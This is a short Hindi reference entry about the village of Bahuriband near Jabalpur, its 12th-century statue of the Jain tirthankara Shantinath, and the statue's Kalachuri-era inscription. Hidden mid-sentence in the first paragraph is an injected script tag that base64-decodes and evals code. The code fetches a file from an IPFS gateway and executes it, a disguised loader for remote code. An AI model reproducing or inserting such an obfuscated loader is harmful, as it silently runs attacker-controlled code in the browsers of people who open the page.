बहुरीबन्द

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बहुरीबन्द मध्य प्रदेश में जबलपुर से 42 मील (लगभग 67.2 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> की दूरी पर उत्तर में स्थित एक ग्राम है, जिसे कनिंघम ने टॉलमी द्वारा उल्लिखित 'थोलावन' माना है।[1]

  • इस गाँव में जैन तीर्थंकर शांतिनाथ की 13 फुट ऊँची, श्याम पाषाण की मूर्ति अवस्थित है, जिसे स्थानीय लोग 'खनुवादव' नाम से जानते हैं।
  • मूर्ति के निम्न भाग में एक अभिलेख उत्कीर्ण है, जिससे सूचित होता है कि यह मूर्ति महासामंताधिपति गोल्हणदेव राठौड़ के समय में बनी थी और यह शासक कलचुरी नरेश रायकर्णदेव का सामंत था।
  • लिपि से मूर्ति का समय 12वीं शती जान पड़ता है।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 615 |

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